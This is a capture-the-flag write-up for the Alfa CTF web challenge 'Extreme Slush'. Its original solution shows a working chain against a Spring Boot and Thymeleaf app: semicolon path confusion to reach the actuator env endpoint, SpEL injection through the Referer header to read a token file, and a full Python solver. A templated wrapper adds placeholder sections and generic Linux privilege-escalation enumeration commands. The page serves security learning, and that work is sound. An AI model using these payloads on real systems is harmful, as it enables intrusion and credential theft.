← Back to Writeups
HTBN/AWeb

Экстремальная слякоть (Extreme Slush)

XESXOR8/23/20263 min read
#web#htb#n/a

Экстремальная слякоть (Extreme Slush)

Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: actuator_path_confusion_bypass, header_based_injection, semicolon_path_parameter_bypass, spel_file_read_java_nio, thymeleaf_preprocessing_spel_injection

Summary

Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: alfactf | ID: 20260425_alfactf_ekstremalnaya_slyakot
  • Tags: flask, nginx, tomcat, thymeleaf, spel, spring_boot, actuator, h2_database, java_nio
  • Indicators: Spring Boot + Thymeleaf stack, Actuator endpoints with security rules, back/redirect parameter using header values, Thymeleaf preprocessing syntax ${...}, Tomcat behind nginx proxy
  • Source: 20260425_alfactf_ekstremalnaya_slyakot.md

Foothold

Vulnerability / Misconfiguration

  1. Actuator_path_confusion_bypass
  2. Header_based_injection
  3. Semicolon_path_parameter_bypass
  4. Spel_file_read_java_nio
  5. Thymeleaf_preprocessing_spel_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • actuator_path_confusion_bypass
  • header_based_injection
  • semicolon_path_parameter_bypass
  • spel_file_read_java_nio
  • thymeleaf_preprocessing_spel_injection
  • Tags: flask, nginx, tomcat, thymeleaf, spel, spring_boot, actuator, h2_database, java_nio

Original Writeup

<details><summary>Click to expand original content</summary>

Экстремальная слякоть (Extreme Slush) — Alfa CTF

Description

A city slush level monitoring application with admin panel and budget management system.

Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.

Analysis

Architecture

  • Outer nginx/1.24.0 (Ubuntu) → Inner nginx/1.27.5
  • Spring Boot WAR on Tomcat 9.0.117 (/, /admin*, /complaint, /actuator*)
  • Flask sidecar at /api/budget/* (proxy_pass)
  • H2 in-memory database (jdbc:h2:mem:slushdb)
  • Thymeleaf 3.0.12.RELEASE template engine

Vulnerability Chain

  1. Actuator path confusion: nginx security rules don't match /actuator;foo/env, but Tomcat strips ;foo and serves /actuator/env
  2. SpEL injection: Thymeleaf preprocessing evaluates __${...}__ syntax before main rendering
  3. Header injection: Referer header value is used in template preprocessing for the back parameter

Solution

Step 1: Actuator Path Confusion Bypass

# Blocked
curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env  # 403

# Bypass via semicolon path parameter
curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env  # 200

Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t

Step 2: SpEL Injection via Referer Header

The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.

Payload format: '}+${SpEL_expression}+@{'

File read payload:

'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Step 3: Token Extraction and Flag

GET /admin?back=/admin HTTP/1.1
Host: slushline-zcdvzvbj.alfactf.ru
Cookie: JSESSIONID=...
Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn

POST to /admin/budget with token → flag displayed.

#!/usr/bin/env python3
"""Alfa CTF - Extreme Slush solver"""
import requests
import re

BASE = "https://slushline-zcdvzvbj.alfactf.ru"

s = requests.Session()

# Step 1: Leak admin password via actuator path confusion
resp = s.get(f"{BASE}/actuator;foo/env")
# ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t

# Step 2: Login as admin
resp = s.get(f"{BASE}/login")
csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1)
s.post(f"{BASE}/login", data={
    "username": "admin",
    "password": "S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t",
    "_csrf": csrf
})

# Step 3: SpEL injection to read token file
spel = (
    "'}+${'a'.getClass().forName('java.nio.file.Files')"
    ".readString('a'.getClass().forName('java.nio.file.Paths')"
    ".get('/usr/local/tomcat/budget_token.txt'))}+@{'"
)
resp = s.get(f"{BASE}/admin?back=/admin", headers={"Referer": spel})
# Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn

# Step 4: Unlock budget panel
resp = s.get(f"{BASE}/admin/budget")
csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1)
resp = s.post(f"{BASE}/admin/budget", data={
    "token": "QWNgzulpHdPJpZpZsktozyF8FyM0umcn",
    "_csrf": csrf
})
print("Flag: alfa{REDACTED}")
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR